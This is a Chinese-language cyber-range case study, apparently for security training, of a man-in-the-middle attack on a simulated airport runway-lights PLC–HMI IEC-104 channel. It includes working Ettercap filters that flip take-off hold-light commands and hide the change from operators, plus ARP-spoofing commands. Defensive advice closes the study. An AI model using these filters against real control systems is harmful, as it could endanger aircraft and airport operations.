Aviation Runway Cyber Range Security Case Study

[ PLC–HMI IEC 60870-5-104 OT 控制通道上的 MITM 攻击 ]

现代机场严重依赖集成的 OT、IT 和 IoT 系统，以确保空中交通管制 (ATC) 安全高效的跑道运营。这些系统也已成为网络攻击的潜在目标。在本案例研究中，我将使用Mini OT Aviation CAT-II Airport Runway Lights Management Simulation System (v_0.2.1) 来演示恶意红队成员如何通过中间人 (MITM) 网络攻击利用网络靶场 PLC-HMI IEC 60870-5-104 控制通道中的错误配置和弱点。

本案例研究是我们 IT/OT/IoT 网络安全研讨会的一部分，旨在展示现实世界系统中可能发生的六种不同的攻击向量。该场景假设攻击者入侵了塔台 ATC 控制室内的未经授权的第三方 IoT 监控摄像头，并从那里拦截和操纵人机界面 (HMI) 和可编程逻辑控制器 (PLC) 之间的 OT 流量。模拟攻击导致跑道灯控制暂时中断，升级为空中交通管制服务中断，最终造成飞机燃油不足的警告情况。

本案例研究包含以下 5 个部分：

• 案例研究中使用的网络安全攻击场景背景和假设。

• 跑道灯光管理模拟系统的警告、警报和安全保护系统。

• 跑道灯塔网络中的错误配置如何产生可利用的弱点。

• MITM 控制通道操纵的逐步攻击路径以及技术细节。

• 演示攻击的影响及其在培训事件响应团队中的应用。

重要提示：本案例研究发生在受控的网络靶场环境中，其中故意注入漏洞和错误配置以用于培训目的。在现实世界的航空系统中，安全保护更加强大，此处描述的大多数弱点都将得到解决。所演示的攻击无法直接在运营机场系统上复制。

特别鸣谢：我要非常感谢专业的航空安全专家 Olivier Roubault 的建议、评论和实用建议，这些建议极大地帮助我们改进了跑道灯光管理系统网络靶场和案例研究的设计和真实性。

# Author:      Yuancheng Liu
# Created:     2025/09/10
# Version:     v_0.2.1
# Copyright:   Copyright (c) 2025 Liu Yuancheng

简介

本网络攻击案例研究演示了如何组合多种攻击技术来操纵机场塔台中跑道灯和指示器控制 HMI 与负责控制跑道起飞等待灯的 PLC 之间的控制数据流通道。通过利用这些弱点，攻击者能够导致飞机着陆操作的拒绝或延迟，直接影响空中交通管制服务。本案例研究将涵盖六种类型的网络攻击向量，包括：

• IOT 设备的供应链攻击

• 恶意固件更新和错误配置

• IEC61850-5-104 协议缺陷

• 窃听和数据包篡改

• 中间人控制劫持

• 组件级拒绝服务

整个案例研究和演示都是在最新版本的 Mini OT Aviation CAT-II Airport Runway Lights Management Simulation System 上进行的，该系统专为研究、培训和网络靶场演习而设计。此处提供的所有攻击场景和技术仅用于教育目的，支持不同级别的 IT/OT/IoT 网络安全培训和以 ICS 为重点的课程。

航空网络靶场简介

Mini OT Aviation CAT-II Airport Runway Lights Management Simulation System 是一个紧凑型网络靶场平台，旨在模拟二类机场精密仪表跑道照明控制系统的四个不同级别的 OT 环境，如下图所示的系统结构图：

Figure-01: Aviation Cyber Range Architecture Diagram version v0.2.1 (2025)

它提供了从 OT-Level 0 物理过程（纯跑道设备），例如 ALS 和 ILS 灯、机场监视雷达 (ASR) 系统、VHF 通信和摄像头到 OT-Level 3 运营管理区（例如塔台控制和监控 HMI 系统）的模拟模块。所有系统的设计都遵循美国联邦航空管理局 (FAA) ATC“通用标准”。该平台模拟了用于机场 ATC 的四个 SCADA 系统：

• CAT-II 跑道灯光系统：核心系统模拟 11 种类型的跑道灯和视觉指示器。

• 机场监视雷达系统：辅助系统模拟 3 种类型的雷达。

• 无线电通信系统：辅助系统模拟 VHF/UHF 飞行员-塔台和电话塔台-地面通信。

• 监控摄像头系统：着陆和起飞跑道飞机监控 IP 摄像头系统。

目前，网络靶场已更新至 v_0.2.1 版本，如需更多介绍，请参阅 v_0.0.1 介绍文档：https://www.linkedin.com/pulse/aviation-runway-lights-management-simulation-system-yuancheng-liu-5rzhc

演示系统环境配置

在现实世界的机场中，IT 和 OT 基础设施是强大、隔离的，并且旨在抵抗目前已知的大多数网络攻击。为了为本案例研究创建一个实用的培训环境，我们故意在我们的网络靶场平台中引入了假设的弱点和错误配置。这些假设使我们能够探索攻击者如何利用保护较少的系统中的漏洞，而不会暗示此类缺陷存在于运营机场网络中。

演示网络配置（参见上图）由四个不同的子网和总共 17 个虚拟机 (VM) 组成，如下所示：

Figure-02: Case Study OT network topology diagram, version v0.2.1 (2025)

• Green Team Subnet – 表示设备和 PLC 之间的物理世界连接。红队攻击者无法直接访问此子网。

• Blue Team Subnet 1 – 模拟跑道塔台控制室和 PLC 之间的通信网络。它受到 IP 路由控制的保护，并且攻击者也无法直接访问。

• Blue Team Subnet 2 – 表示跑道控制塔的隔离网络，包括 SCADA HMI 和监控系统。虽然攻击者无法直接连接，但此子网可能会通过维护活动或错误配置的设备间接暴露。

• Red Team Subnet/Internet – 模拟攻击者的环境，包括 C2 基础设施和受感染的第三方 IoT 设备。如果没有中间路径，攻击者无法直接桥接到 Blue Team Subnet2 中。

此模拟中的一个关键网络访问设计规则是没有人可以同时访问攻击者的环境和隔离的 OT 网络。

案例研究场景错误配置假设

根据之前的环境介绍，我们了解到红队攻击者无法实时访问 OT 网络的任何部分。相反，攻击者必须依靠粗心的维护工程师及其受感染的笔记本电脑来弥合差距。这创建了一个真实的内部威胁向量，突出了不良端点卫生习惯的风险。

我们定义了关于此网络靶场系统中弱点和错误配置的五个关键假设：

• 假设 1：粗心的维护工程师将其笔记本电脑连接到互联网，使攻击者有机会安装间谍木马并获取有关机场的一些关键信息。

• 假设 2：同一台笔记本电脑稍后会物理连接到隔离的 3 级跑道 OT 网络进行测试，从而使预安装的木马能够在控制环境中运行。

• 假设 3：离开控制塔后，维护工程师将其笔记本电脑重新连接到互联网，从而使攻击者能够提取木马收集的敏感网络信息和通信样本。

• 假设 4：攻击者执行供应链攻击，将恶意代码嵌入到 IoT 摄像头的固件中，然后该摄像头充当 OT 环境中的隐形接入点。

• 假设 5：错误配置将第三方 IoT 监控摄像头放置在与跑道灯光控制 HMI 相同的子网上，维护工程师使用恶意固件更新摄像头，从而创建一个意外的暴露点。

这些假设虽然对于现实世界的航空系统来说是不现实的，但提供了一个受控、灵活的训练场地，我们可以在其中模拟供应链攻击、错误配置滥用、内部风险和 OT 特定的攻击路径，例如IEC104 控制通道的 MITM 操纵。

案例研究攻击场景和路径

下图显示了本案例研究中使用的模拟攻击路径。它显示了攻击者（从受感染的维护笔记本电脑和被篡改的 IoT 摄像头开始）如何在PLC ↔ HMI IEC-104 控制通道上建立中间人 (MITM)，以修改跑道等待灯命令数据 ASDU 部分，从而导致起飞延迟并迫使另一架进港飞机在等待模式中盘旋，直到发出燃油不足警报。

Figure-03: Case Study Attack Scenario and Path diagram, version v0.2.1 (2025)

端到端攻击在以下分阶段的时间线 (T1 → T13) 中展开，如该图所示。每个步骤都描述了攻击者的操作、受感染的维护工程师作为不知情的内部人员的角色以及用于拦截 OT 流量的技术方法。

• 步骤 T1 — 初始感染和信标：攻击者使用间谍木马感染维护工程师的笔记本电脑（通过网络钓鱼、恶意广告或预先感染）。该木马安装网络扫描、数据包捕获有效负载，并等待来自攻击者 C2 基础设施的命令。当笔记本电脑在线时，捕获的遥测数据和数据包会被泄露到 C2。

• 步骤 T2 — 对 OT 的物理访问：维护工程师在不知情的情况下断开与互联网的连接，并将笔记本电脑带到跑道塔台室执行维护任务。他将笔记本电脑插入连接到隔离的 OT 环境的塔台 RJ45 测试端口。

• 步骤 T3 — OT 内部的本地侦察：连接后，木马被动地记录受害者笔记本电脑和 1 级跑道 PLC (PLC01) 之间的网络流量，捕获用于等待灯控制的 IEC-104 数据包、寻址和序列模式。

• 步骤 T4 — 数据返回和分析：离开塔台并重新连接到互联网后，笔记本电脑将收集的数据包捕获上传到攻击者的 C2。攻击者下载这些捕获以进行离线分析。

• 步骤 T5 — 攻击开发：使用捕获的流量和任何泄露的文档，攻击者对 IEC-104 消息、HMI/PLC IP 和控制位进行逆向工程。他们开发了一种 MITM 例程，能够解析和修改特定的 IEC-104 命令和响应。攻击者将此 MITM 有效负载嵌入到第三方 IoT 监控摄像头的“自定义”固件映像中。

• 步骤 T6 — 供应链交付：攻击者执行供应链或物流技巧，使一个摄像头刷新恶意固件并交付到维护流程中。

• 步骤 T7 — 设备更换：维护工程师（或现场承包商）更换塔台中损坏的摄像头，而无需检查其固件或网络位置。

• 步骤 T8 — ARP 欺骗和流量重定向：部署后，恶意摄像头激活并执行 ARP 欺骗/本地路由操纵，以将自身定位为 PLC01 和 HMI 之间的透明 MITM，从而导致流量流向 PLC01 → 摄像头 → HMI。

• 步骤 T9 — 数据包解析和触发逻辑：摄像头的 MITM 例程解析实时 IEC-104 帧，并等待特定的命令/序列（“触发器”），该命令/序列指示操作员正在发出起飞等待灯更改。

• 步骤 T10 — 命令篡改（起飞被阻止）：当塔台操作员按下 HMI 按钮以关闭起飞等待灯（允许飞机开始起飞）时，MITM 会拦截并翻转相关的控制位，因此传递给 PLC01 的命令指示打开（保持）。飞行员看到物理灯，将飞机保持在起飞等待区域。

• 步骤 T11 — 状态反馈抑制：同时，MITM 修改 PLC → HMI 状态报告，以便 HMI 显示正常/预期的 PLC 状态。这会向塔台操作员隐藏操纵，并阻止操作员采取纠正措施。

• 步骤 T12 — 级联运营影响：在最后进近的进港飞机（飞机 2）观察到跑道被占用（或收到与跑道被占用一致的 ATC 指令），并且必须中止/执行复飞，爬回等待模式。

• 步骤 T13 — 安全升级：在等待模式中长时间盘旋后，进港飞行员向 ATC 声明燃油不足的情况，从而促使优先处理和安全事件。

攻击路径演示了混合攻击（结合端点感染、供应链篡改和 OT 感知的 MITM）如何产生危险的运营结果，即使主要 OT 网络被设计为隔离的。以上所有步骤都在我们的网络靶场中受控执行；它们仅旨在突出显示攻击机制、检测机会以及用于培训和研究的缓解策略。

网络靶场警告和警报系统

在我演示攻击之前，了解网络靶场中内置的安全保护机制也很重要。这些机制模拟了现实世界的塔台 ATC 安全措施，因此您可以了解为什么攻击者必须执行特定的侦察和绕过操作才能保持隐蔽。

目的和高级行为：我们的模拟器中的 PLC 和 HMI 实现了自动状态验证和分层警告/警报生成系统。每当操作员发出控制操作（例如，打开跑道或进近灯以释放状态）时，PLC 都会将命令状态与灯状态传感器反馈进行比较。任何不匹配或异常情况都会被标记并推送到塔台 HMI 和物理世界模拟器显示器，以便操作员可以快速检测和响应故障。PLC 灯传感器和控制逻辑遵循此 PLC 控制文章中的相同逻辑：https://www.linkedin.com/pulse/use-plc-remote-control-circuit-breaker-power-system-yuancheng-liu-7ljxc，当前版本提供 11 种跑道警告、18 种跑道警报和 4 种飞机警报。

如何可视化警告和警报

• 物理世界模拟器直接在模拟设备（例如，跑道灯或信标）上覆盖闪烁的警告/警报图标，以便网络靶场用户立即看到受影响的组件。

• HMI在专用的警告和警报指示器面板中镜像这些通知，其中警报闪烁并提供上下文信息（类型、受影响的设备、时间戳）。

物理世界模拟器（真实警告&警报）到人机界面（检测到的警告&警报）的映射如下所示：

Figure-04: Cyber Range Warning & Alert System diagram, version v0.2.1 (2025)

检测逻辑示例：

• 操作员按下控制按钮 → 人机界面发送 IEC-104 控制命令 → PLC 驱动设备并读取本地传感器 → PLC 将实际状态报告回人机界面。

• 如果在配置的超时或容差范围内，PLC 传感器状态 ≠ 命令状态，则 PLC 会发出警报；如果操作员的操作需要注意但并非关键，则可能会显示警告。PLC/HMI 遵循与我们的 PLC 远程控制示例中使用的相同的传感器/控制逻辑。

警报和警告目录

• 跑道警告 (11) — 例如，起飞等待灯已激活；信标塔电源警告；跑道边缘灯熄灭；警戒区余烬灯已激活 ...

• 跑道警报 (18) — 跨越进近灯、阈值灯、PAPI、滑行道指示器、雷达天线和 VHF 天线的详细电源/状态不匹配和传感器故障警报 ...

• 飞机警报 (4) — 例如，飞机燃油不足、飞机紧急爬升、雷达接近、跑道灯冲突 ...

这些类别提供多层态势感知：警告用于提醒操作员注意，警报通常需要立即采取事件响应程序。

操作响应

当出现警告时，预计操作员会仔细检查物理状态并采取纠正措施。当发生警报时，操作员必须调用事件响应程序（隔离、验证传感器、回滚命令、呼叫维护等）。在网络攻击期间，攻击者需要 нейтрализовать 或规避这些保护措施，抑制或伪造 PLC → HMI 反馈，以便 HMI 继续显示“正常”，尽管实际设备状态发生了变化。

攻击场景演示

在本节中，我们将逐步介绍攻击者的剧本：使用的工具和有效负载（高级别）、为攻击逻辑提供信息的包级别分析，以及对手从初始入侵到破坏跑道运营的实时 MITM 操作所执行的关键操作。

每个关键步骤都将攻击者的意图与可观察的技术工件（PCAPs、IEC-104 ASDU 字段、设备行为）配对，以便防御者可以了解攻击的工作方式以及存在检测机会的位置。

Step-T1 → T2 — 初始入侵和信标

此演示部分涵盖攻击者的前两个阶段：

• (1) 在维护工程师的笔记本电脑上静默植入一个轻量级窃听器，

• (2) 等待工程师将受感染的端点带入隔离的 OT 环境，以便植入程序可以捕获 PLC 到受害者笔记本电脑的流量。

使用的工具集：攻击者使用我开发的红队工具包 — Project Ninja RT Framework (RTC2 & Trojan-Malware Cyber-Attack Simulation System)。Project Ninja 提供了一个 C2 控制台，其中包含可以推送到目标的模块化有效负载，包括一个小型“轻量级代理”，专为长时间数据包捕获和渗透而设计。工具包工作流程如下图所示。

Figure-05: Project Ninja RT Framework Workflow diagram, version v0.2.1 (2025)

有关此攻击系统的详细介绍，您可以查看此文档：https://www.linkedin.com/pulse/project-ninja-framework-rtc2-trojan-malware-cyber-attack-liu-loihc

感染和有效负载部署：从 C2 网络木马控制面板，攻击者枚举受害者笔记本电脑并选择轻量级代理有效负载（控制台中的功能 #9）。使用 GUI，攻击者配置捕获参数：

• 目标 NIC：ethernet-5（笔记本电脑本地 RJ45 接口，工程师稍后将其连接到塔式测试 RJ45 端口）

• 捕获持续时间/间隔：43,200 秒 → 12 小时（代理将捕获分割成多个 pcap 文件）

• 捕获后行为：在计划的录制完成后自动删除有效负载模块

Figure-06: Attacker Active EavesDrop Victim's traffic function, version v0.2.1 (2025)

安装有效负载后（Step-T1），攻击者等待计划的维护窗口。在下一个工作日，维护工程师断开与互联网的连接，进入跑道塔，并将笔记本电脑插入隔离的蓝队子网 2 RJ45 测试端口（Step-T2）。在该会话期间，植入程序会按计划捕获受害者笔记本电脑 ↔ PLC 流量（起飞/等待灯测试和状态报告）。

部署后，木马以低可见性模式运行，并定期尝试向攻击者的 C2 发送信标以接收命令，并在笔记本电脑重新获得互联网连接时渗透收集的 pcaps。

Step-T3 → T4 — 数据返回、分析和攻击决策

维护会话结束后，工程师返回家中后重新连接到互联网，植入的木马会向 C2 发送信标，并在攻击者使用内置的“02 — 从受害者窃取文件到 C2-DB”功能时渗透其捕获（如下所示）。

Figure-07: Attacker Steal file from the victim laptop to C2, version v0.2.1 (2025)

任务完成后，上传的 PCAPs 会出现在 C2 文件存储中（如下所示），攻击者会将它们从 C2 下载到他的本地计算机以进行离线分析。

Figure-08: Attacker download the pcap file C2, version v0.2.1 (2025)

获得流量数据包记录 "eavesdrop_record-07_13_09_2024.pcapng" 后，攻击者开始分析数据包数据，发现 PCAPs 包含一些第 2/3 层流量和 IEC-104 帧，这些帧是在笔记本电脑连接到隔离的蓝队子网时捕获的。分析期间恢复的关键工件包括：

• IEC-104 ASDU 控制帧（从笔记本电脑到 PLC 的命令请求，HMI 也使用它来控制 PLC）。

• PLC → 笔记本电脑状态报告（测量/质量点，PLC 也可能使用它来控制 HMI）。

• HMI 和 PLC 的 IP 寻址和映射（例如，PLC01 = 10.10.20.11）。

• IEC-104 会话使用的序列/时序模式和 APCI 计数器。

发现的协议和环境约束

根据文档和分析，攻击发现仔细的数据包检查揭示了几个重要的防御因素，这些因素限制了简单的攻击选项：

• PLC 写入白名单：PLC 强制执行允许写入策略白名单，以确保只有 HMI 机器可以将 PLC 状态更改命令发送到 PLC，以防止虚假命令注入攻击，除非攻击者可以绕过 PLC 访问控制。

• 测量点持久性：灯光状态保存在离散的测量 IOA 中，预计 PLC 逻辑会更新这些 IOA；简单地注入虚假数据请求将被 PLC 直接拒绝。

• APCI 序列/确认计数器：IEC-104 在其 APCI 标头中使用 Tx/Rx 序列号（发送/接收索引）。除非这些序列计数器与实时 HMI↔PLC 会话正确同步，否则对先前捕获的帧的简单重放将失败，这对于数据包重放攻击来说几乎不可能与旧的记录数据包完全匹配序列。

Figure-09: IEC 60870-5-104 APCI message sequence, version v0.2.1 (2025)

IEC 104 内存点更改规则文档：https://infosys.beckhoff.com/english.php?content=../content/1033/tf6500_tc3_iec60870_5_10x/984444939.html&id=

由于这些约束，攻击者得出结论，无论是盲目虚假注入还是简单重放都无法可靠地实现隐蔽控制。他唯一的办法是进行中间人攻击，以修改从 HMI 发送到 PLC 的有效数据。

从捕获的流量中，攻击者找到了参与等待灯控制的确切 ASDU 元素和 IOA，如下所示：

Figure-10: HMI to PLC IEC 60870-5-104 ASDU requset data, version v0.2.1 (2025)

• 控制 ASDU 引用 PLC 控制索引 11。

• 灯光控制的可更改 IOA 为 13。

• 操作员的“步进”控制表示为 ASDU 中的特定控制值 (val=02)。

攻击者还观察到从 PLC 到 HMI 的读回模式，如下所示：

Figure-11: PLC to HMI IEC 60870-5-104 ASDU response data, version v0.2.1 (2025)

当发出 UP 命令以更改灯光状态时，PLC 也会获取传感器值，然后保存到测量 IOA 1 转换（OFF → ON），稍后 HMI 会通过单独的 IEC-104 读取/报告序列将其读回。

将各个部分组合在一起，攻击者对可行的攻击策略进行建模：为了保持隐蔽，他们必须拦截并更改 IEC-104 交换的两个方向 — HMI → PLC 控制 ASDU（以翻转命令）和 PLC → HMI 测量/报告 ASDU（以保持 HMI 显示一致）。攻击者在攻击假设图中草绘了 MITM 逻辑和所需目标（ASDU RCO 控制字段和 ASDU SPI/状态报告字段），如下所示：

Figure-11: MITM attack assumption diagram, version v0.2.1 (2025)

Step-T5 → T7 — 攻击开发和部署

在分析捕获的 IEC-104 流量并确定参与等待灯控制的确切 ASDU 字段和 IOA 后，攻击者选择实施路径内修改策略：保持隐蔽的唯一可行方法是位于 HMI 和 PLC 之间并更改两个方向的消息。

• HMI → PLC：修改控制请求，使操作员的“步进/允许”变为“步退/保持”（或反之亦然）。

• PLC → HMI：反转读回/状态报告，以便 HMI 继续显示正常状态，并且不会发出警告/警报。

由于蓝队子网 2 与互联网隔离，因此攻击者没有尝试从外部红队网络进行直接攻击，而是使用受感染的第三方 IoT 摄像头作为物理介质来实现该路径内位置。一旦连接到与灯光控制 HMI 相同的子网，篡改的摄像头会通过发布误导性的本地网络路由信息（例如，伪造的 ARP 映射）来定位自己以观察和影响 HMI↔PLC 流量，以便流量通过设备重定向路由。攻击流程图如下所示：

Figure-12: MITM attack flow diagram, version v0.2.1 (2025)

为了在此攻击演示中构建 MITM 有效负载，我们使用 Ettercap，这是一个基于 Linux 的综合中间人攻击套件，用于实施 ARP 欺骗，并使用 Ettercap 过滤器来分析端口 2042 流量并进行位替换。有关详细的 IEC104 ASDU 数据序列，您可以参考此说明：https://www.linkedin.com/pulse/python-virtual-plc-simulator-iec-60870-5-104-protocol-yuancheng-liu-bov7c

攻击者想要修改控制 C_CT_TA_1 步进数据，如果 HMI 发送步进 [\x02] 更改为步退 [\x01]（或反之亦然）。为了实现这一点，我构建了 Ettercap 位修改过滤器，如下所示：

if (ip.proto == TCP && ip.src = '10.10.20.11' && tcp.src == 2042 && ip.dst == '10.10.20.22') {
    if (search(DATA.data ,"\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x02")) {
        replace("\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x02", "\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x01");
        msg("Modify the take off light on signal.\n");
        exit();
    }
       if (search(DATA.data ,"\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x01")) {
        replace("\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x01", "\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x02");
        msg("Modify the take off light off signal.\n");
        exit();
    }
 }

当起飞等待灯传感器将灯光状态发送回 HMI 时，攻击者需要将 PLC 响应灯 ON 状态更改为 OFF（或反之亦然）。为了实现这一点，我构建了 Ettercap 位反转过滤器，如下所示：

if (ip.proto == TCP && ip.src = '10.10.20.22' && tcp.dst == 2042 && ip.dst == '10.10.20.11') {
    if (search(DATA.data ,"\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x01")) {
        replace("\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x01", "\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x00");
        msg("reverse the take off light on signal.\n");
        exit();
    }
        if (search(DATA.data ,"\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x00")) {
        replace("\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x00", "\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x01");
        msg("reverse the take off light off signal.\n");
        exit();
    }
}

完成过滤器后，将过滤器文件编译为有效负载 *.ef 文件，该文件可以直接由 Ettercap 加载：

etterfilter arp_mitm.filter -o mitm.ef

然后，攻击者按照此示例将此逻辑恶意有效负载打包到最小的固件更新组件中，并将其集成到摄像头图像中：https://www.linkedin.com/pulse/ot-cyber-attack-workshop-case-study-06-replay-safety-surveillance-gcgxc，并在摄像头基本固件启动脚本中为 ARP 欺骗控制添加自动运行命令，其中包含蓝队 2 子网路由器 IP 地址：

sudo ettercap -T -q -F mitm.ef -M ARP /10.10.20.1//

完成后，定制的 IoT 摄像头将交付到维护工作流程中，并由不验证固件或网络配置的维护工程师在塔中进行物理安装。一旦在 OT LAN 上激活，摄像头就会开始本地路由操作和选择性 ASDU 替换，仅对狭义定义的触发模式起作用（以减少噪声并降低检测几率）。

Step-T8 → T11 — MITM 攻击以延迟飞机起飞

此阶段描述了在篡改的 IoT 摄像头安装在塔中并且攻击者的路径内逻辑生效之后发生的事情。下面的叙述将正常的操作员/PLC/HMI 行为与 MITM 主动操纵命令和状态流量时操作员观察到的情况进行对比。

正常塔台操作 — “允许起飞”（基线）

当操作正常且跑道畅通时，塔台操作员的飞机起飞控制如下所示：

Figure-13: Tower operator's plane take off control flow diagram, version v0.2.1 (2025)

• 塔台操作员在 HMI 上发出起飞等待灯 OFF 命令，以允许飞机开始起飞。

• HMI 向 PLC 发送 IEC-104 控制命令；PLC 关闭设备上的跑道起飞等待灯，并将传感器状态报告回 HMI。

• 物理模拟器（或真实设备）显示灯 OFF；HMI 跑道状态面板和电源控制指示器都反映 OFF 状态；未显示起飞警告。

正常塔台操作 — “等待起飞”（基线）

当有理由暂停起飞时（例如，另一架已着陆的飞机尚未在滑行道上移动），塔台操作员的飞机起飞保持控制如下图所示：

Figure-14: Tower operator's plane take off holding control flow diagram, version v0.2.1 (2025)

• 操作员通过 HMI 向 PLC 发送指令，激活 起飞保持灯 ON。

• PLC 改变物理世界模拟器的起飞保持灯，起飞飞机在准备区域等待。

• HMI 从 PLC 获取传感器数据，并在其跑道面板上更新 2 条红线。

• HMI 警告指示区域显示起飞保持警告，以识别飞机正在等待起飞。

MITM 主动攻击——攻击如何改变行为

一旦恶意摄像头成为路径中的设备，它会有选择地拦截 HMI ↔ PLC 的交换，并在操作员每次更改起飞灯时执行两个协调操作。

• 修改外发控制命令 (HMI → PLC)：MITM 翻转或替换操作员的预期控制动作，因此 PLC 接收到的命令与操作员发出的命令不同（例如，操作员按下 OFF，但 PLC 接收到 ON，反之亦然）。

• 伪造/更改 PLC 反馈 (PLC → HMI)：在 PLC 的真实传感器状态发生（或未发生）更改后，MITM 立即修改 PLC → HMI 报告，以便 HMI 显示预期值（操作员期望看到的值），从而防止控制台上出现警报或明显的状态不匹配。

观察结果将如下所示：

Figure-15: MITM Active observation flow diagram, version v0.2.1 (2025)

• 塔台操作员按下 HMI 上的保持灯关闭按钮，以允许 plane1 起飞。

• 物理灯保持与操作员认为的状态相反的状态（例如，操作员将其关闭，但它在现实世界中仍然开启）。因此，位于保持点的飞机不会启动起飞。

• HMI 显示正常/预期状态（断电），因为 MITM 操纵 PLC → HMI 报告以隐藏不匹配。操作员没有看到任何异常情况，并认为命令已成功。

• 电源控制面板可能指示预期的命令状态（因为该指示器反映了被操纵的反馈），从而进一步说服操作员跑道已清理干净。

• 警告消息也不会被触发，以确认没有飞机处于起飞保持状态。

现在，IoT 摄像头的中间人攻击已经延迟了飞机的起飞程序。

步骤 T12 → T13 — 级联运营影响和安全升级

当 MITM 攻击成功延迟 plane1 的起飞程序，从而向塔台 HMI 隐瞒真实的跑道状态时，运营影响会迅速从局部设备故障级联到航空安全事件，如下所示：

Figure-16: Plane2 cancel landing and climb up, version v0.2.1 (2025)

• 一架进港飞机 (Plane-02) 到达最后进近航线，而离港飞机 (Plane-01) 仍停留在离港保持点，因为物理起飞灯从未关闭。plane02 飞行员从雷达和视觉中检测到跑道被占用的情况。

• 进港飞行员执行紧急复飞/重飞（中止着陆并爬升回已发布的等待航线），以避免可能的碰撞。

• Plane-02 重新进入等待航线，并且可能会在其他交通工具后面进行引导或排序；由于飞行保持在空中比计划的时间更长，因此燃料消耗会增加。

在长时间的盘旋后，进港飞行员向 ATC 声明 燃料不足 状况。这会立即提高航班的优先级，并触发紧急处理/着陆排序。模拟器显示燃料不足警报以及由此产生的运营升级。（如下面的物理世界模拟器所示）

Figure-17: Plane2 fuel-low alarm, version v0.2.1 (2025)

最终，MITM 攻击确实造成了级联运营影响，并导致了安全升级事件。

事件响应：当 plane-02 向塔台报告燃料不足时，操作员启动事件响应程序，以确认跑道的当前状态，引导 plane01 或飞机牵引车将 plane01 拖到滑行区域，然后引导 plane-02 降落。

防御和结论

在演示了如何通过利用网络范围环境中的错误配置和受损的 IoT 设备对航空跑道灯光控制系统执行多阶段中间人 (MITM) 攻击后，我们可以为防御者提供简短的清单，以降低升级风险并切断可能的网络攻击链：

• 维护跑道状态验证的独立冗余（辅助传感器路径、隔离的摄像头馈送）。

• 对将连接到 OT VLAN 的任何设备强制执行严格的设备注册和固件验证。

• 实施快速隔离功能（网络访问控制、交换机端口禁用）以快速删除可疑端点。

• 创建并定期演练手动跑道控制程序，以便操作员可以在调查技术根本原因的同时安全地继续运营。

该模拟演示了此类攻击拦截和操纵 IEC 60870-5-104 OT 协议流量的潜力，从而导致跑道灯光控制中断、飞机起飞延误，并最终导致进港飞机出现安全关键的燃料不足情况。虽然该场景依赖于故意注入的漏洞进行培训，但它强调了强大的网络分段、严格的供应链安全以及对 OT 控制通道的全面监控的至关重要性。最终，此练习可作为培训事件响应团队的宝贵工具，并强调需要分层防御来保护重要的航空基础设施免受新兴的混合 IT/OT/IoT 网络威胁。

感谢您花时间查看文章详细信息，如果您有任何问题和建议或发现任何程序错误，请随时给我留言。如果您能提供一些评论并分享任何改进建议，我们将不胜感激，以便我们能够改进我们的工作~

last edit by LiuYuancheng ([email protected]) by 13/09/2025 if you have any problem, please send me a message.